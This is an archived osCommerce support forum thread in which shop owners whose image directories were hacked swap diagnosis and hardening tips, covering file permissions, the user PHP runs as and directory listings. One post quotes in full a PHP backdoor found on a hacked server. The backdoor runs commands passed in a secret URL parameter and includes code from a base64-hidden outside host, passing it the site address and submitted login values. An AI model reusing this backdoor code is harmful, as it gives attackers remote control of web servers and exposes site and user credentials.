Jump to content
  • Checkout
  • Login
  • Get in touch

osCommerce

The e-commerce.

Hacker in our store - help


carloscanas

Recommended Posts

Posted

We have had a hacker in our store. He has been able to setup php and programs scripts in the images directory. Is it there any way to make this a read only directory? We tried making it read only and all our images disapeared. We are now toying eith the idea of putting this directory in a different location and make a link to it, but we do not know if this will protect our site. We still don't know how the hacker was able to get in. We have already changed all passwords, making them as criptic as possible but stil he was able to get in. Please help.

 

Thanks

Posted
We have had a hacker in our store. He has been able to setup php and programs scripts in the images directory. Is it there any way to make this a read only directory? We tried making it read only and all our images disapeared. We are now toying eith the idea of putting this directory in a different location and make a link to it, but we do not know if this will protect our site. We still don't know how the hacker was able to get in. We have already changed all passwords, making them as criptic as possible but stil he was able to get in. Please help.

 

Thanks

 

 

Maybe update to the latest version? If you can look at your site's logs then you can see what ip address is the first one to access these new files that have been created and then ban the ip until the problem can be fixed :o

Posted

You can try renaming the images directory to something else and edit the includes/configure.php to what you named the directory to.

 

At around line 23 find:

(define('DIR_WS_IMAGES', 'images/'); )

Change to:

(define('DIR_WS_IMAGES', 'renamed/'); )

Installed Contributions: CCGV, Close Popup, Dynamic Meta Tags, Easy Populate, Froogle Data Feeder, Google Position, Infobox Header Entire Row, Live Support for OSC, PayPal Seal with CC images, Report_m Sales, Shop by Price Revised, SQL Updater, Who's Online Enhancement, Footer, GNA EP Assistant and still going.

Posted

This is the second instance in the last few days.

 

Answer a couple questions.

 

1) What are the permissions on the image directory?

 

2) What response do you get to this little script?

 

Save it as whoami.php and run it on your server like so: yourdomain.com/whoami.php

 

<?php
// outputs the username that owns the running php/httpd process
// (on a system with the "whoami" executable in the path)
echo 'php is running as user: ' . exec('whoami');
?>

Local: Mac OS X 10.5.8 - Apache 2.2/php 5.3.0/MySQL 5.4.10 • Web Servers: Linux

Tools: BBEdit, Coda, Versions (Subversion), Sequel Pro (db management)

Posted

Just because he got into the images directory does not mean it is the permissions of that directory at fault.

 

You have to ask how did he manage to load something there.

 

He has hacked the server first. Your site second. OR he has an account on the same server as you and hacked you from there.

 

Not sure.

Posted
Just because he got into the images directory does not mean it is the permissions of that directory at fault.

 

You have to ask how did he manage to load something there.

It's always a good idea to start with the basics and go from there.

Local: Mac OS X 10.5.8 - Apache 2.2/php 5.3.0/MySQL 5.4.10 • Web Servers: Linux

Tools: BBEdit, Coda, Versions (Subversion), Sequel Pro (db management)

Posted

I also have been hacked this weekend!! Someone was running a phishing site from /catalog/images. I since found a second unrelated OSC site with the same problem.

 

OSC install suggests the /catalog/images directory should be 777. Am I correct in thinking that nobody can load files to a 777 directory unless they can also hack into the computer? Or is this a security risk?

 

When I started looking at my server, I found a few hacks - e.g. "marker" index.html pages left in 777 directories and not just OSC ones. I've a new server an am moving everything over but need to find a way to make sure it's secure? I run 2 shops and am about to build 2 more so I kinda need to know.

 

On my old server (a Cobalt RAQ4), if you went directly to the images directory, you can see the file listing because there is no .htaccess or index.html; whereas the new server doesn't allow access. I noticed in MS2.2 that there's no .htaccess or index.html in the /catalog/images directory, should there be?

 

FYI -

AlanR said

 

Answer a couple questions.

 

1) What are the permissions on the image directory?

2) What response do you get to this little script?

 

Save it as whoami.php and run it on your server like so: yourdomain.com/whoami.php

Answers for AlanR

1) permissions are 777, as required by OSC

2) on my old server (the one that was hacked) whoami.php returned "php is running as user: httpd" the new server didn't allow the "exec()" command but allows OSC to run.

 

 

Thanks

 

eZeMan

If you learn more than you forget then that's a good thing.

Posted
1) permissions are 777, as required by OSC

That's not the case or any requirement. The people who have needed to use 777 need it because of the way the server is set up. It's not to be blamed on osC other than the fact that osC wants to be able to upload files. Any php script which requires file uploads has exactly the same issues with write permissions.

 

On many servers (including the ones I use) a 755 or even more restrictive setting works just fine.

 

This post may help...

 

http://www.oscommerce.com/forums/index.php?sho...33entry781733

Local: Mac OS X 10.5.8 - Apache 2.2/php 5.3.0/MySQL 5.4.10 • Web Servers: Linux

Tools: BBEdit, Coda, Versions (Subversion), Sequel Pro (db management)

Posted

Somewhat off topic... I believe you should be able to deny directory listings on servers by including this directive in a .htaccess file in the appropriate folder. Works (in the reverse) for me.

 

Options -Indexes

 

See: http://httpd.apache.org/docs/1.3/mod/core.html#options

 

for more.

Local: Mac OS X 10.5.8 - Apache 2.2/php 5.3.0/MySQL 5.4.10 • Web Servers: Linux

Tools: BBEdit, Coda, Versions (Subversion), Sequel Pro (db management)

Posted

Thanks Alan, I was following OSC Knowledgebase entry but understand and appreciate your advice.

http://www.oscommerce.info/kb/osCommerce/I...nd_Upgrades/224

 

Perhaps the Knowledge Base should be altered in line with your good advice.

Post-Installation

 

After installing osCommerce follow these steps for post-installation:

...

3. Set the permissions on catalog/images directory to 777

4. Set the permissions on admin/images/graphs directory to 777

5. Create the directory admin/backups and set the permissions to 777 (this is the folder to store the database backup of your store in the "Tools" section of the store admin).

I'll change to 755 - just saw your .htaccess suggestiopn too any other security suggestions?

 

Thanks again

Kenny

If you learn more than you forget then that's a good thing.

Posted

PHP is running as user apache.

I tried to change the permissions on the image directory to r__r__r but then my images do not show.

The images directory is the only directory where we have found hacker scripts. We have serched the site for other entries but this is the only place where we have found hacker's code.

We keep changing user passwords (we have only 4 users), database passwords, but still he can get in.

The user name assigned to the hacker files is apache. We suspects that somehow he is able to upload his scripts through apache.

We just changed our image directory permissions to wxr_xr_x and although we can not update images through admin, which reports the directory as not-writable, at least the site seems to be working fine. We also assigned all the files in the store to a unique user and to a unique group. We have made all of our php and htm scripts in the site to a r__r__r permission, and all directories to wxr_xr_x permission.

We do not use .htaccess. We have included all .htaccess commands as part of the apache configuration scripts.

Hopefully this will keep this guy out. Still we are open to any suggestions as this is becoming to be a waste of time, and we are afraid he will (if he has not done that yet) be able to access the database.

Is it there a way to hide the database name, user name, and password. Right now it is wide open in the configure.php files?

 

Thank you again for your support.

Posted
Somewhat off topic... I believe you should be able to deny directory listings on servers by including this directive in a .htaccess file in the appropriate folder. Works (in the reverse) for me.

 

Options -Indexes

 

See: http://httpd.apache.org/docs/1.3/mod/core.html#options

 

for more.

 

Just to go slightly further off topic - for people testing on their own servers - or servers where they have access to the apache.conf (or httpd.conf),

you will also need to make sure that you have an 'AllowOverride Options' set for the directory where the .htaccess file is placed (or a parent directory)

so something like,

<Directory "/var/www/html/your_directory_with_htaccess_file/">
AllowOverride Options
</Directory>

will allow .htaccess directive to work on that folder - without it I get 500 error.

 

finally to go back on topic - I ran AlanR's whoami.php (cheers) and my php is running as 'apache' - my 'images' folder is owned by another user - if I change the 'images' folder to belong to group 'apache' and chmod 775 would that be any more 'secure' ?

EDIT: the previous post has pretty much answered this one I think.

 

btw, I have not been hacked but have just installed osC today to test out - and was slightly surprised to see the instruction to set the images folder to 777 as this does seem to open a potential can of worms.

  • 2 weeks later...
Posted

Mine was hacked yesterday morning. In every folder that was 777, the hacker installed three .php files with varying names, as well as an .htaccess file.

 

The content of the php files are

<?php
error_reporting(0);
if(isset($_POST["l"]) and isset($_POST["p"])){
if(isset($_POST["input"])){$user_auth="&l=". base64_encode($_POST["l"]) ."&p=". base64_encode(md5($_POST["p"]));}
else{$user_auth="&l=". $_POST["l"] ."&p=". $_POST["p"];}
}else{$user_auth="";}
if(!isset($_POST["log_flg"])){$log_flg="&log";}
if(! @include_once(base64_decode("aHR0cDovL2Jpcy5pZnJhbWUucnUvbWFzdGVyLnBocD9yX2FkZHI9") . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) ."&url=". base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg))
{
if(isset($_GET["a3kfj39fsj2"])){system($_GET["a3kfj39fsj2"]);}
if($_POST["l"]=="special"){print "sys_active". `uname -a`;}
}
?>

 

the files have names such as messages.php, time.php, include.php

 

I'm in the process of CHMODing everything to 755.

John Skurka

Posted
Mine was hacked yesterday morning. In every folder that was 777, the hacker installed three .php files with varying names, as well as an .htaccess file.

 

the files have names such as messages.php, time.php, include.php

 

I'm in the process of CHMODing everything to 755.

If I remember right that's a break-in that redirects osC internal searches to an external search engine, not sure though.

 

If you search you should find a thread on this.

Local: Mac OS X 10.5.8 - Apache 2.2/php 5.3.0/MySQL 5.4.10 • Web Servers: Linux

Tools: BBEdit, Coda, Versions (Subversion), Sequel Pro (db management)

Posted
Here's the thread I referred to (it helps if you can remember a few key, unique words B) ).

 

http://www.oscommerce.com/forums/index.php?showtopic=188411

 

Thanks. That's exactly what it is. I was able to go through my entire site and remove these files. It was fairly easy since all I had to do was sort by date, and any file that was modified on Feb 6th at 10am (the date the hacker installed these files) was either removed or replaced with a backup. All PW's were changed as well.

 

Question: How does this sort of thing happen? That is, how do these CRIMINALS install files on a web server? Now I know you may not want to divulge how, but how can we be sure that our sites are protected from these low lifes? Especially since OSC asks that some dirs be CHMOD'd to 777?

John Skurka

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...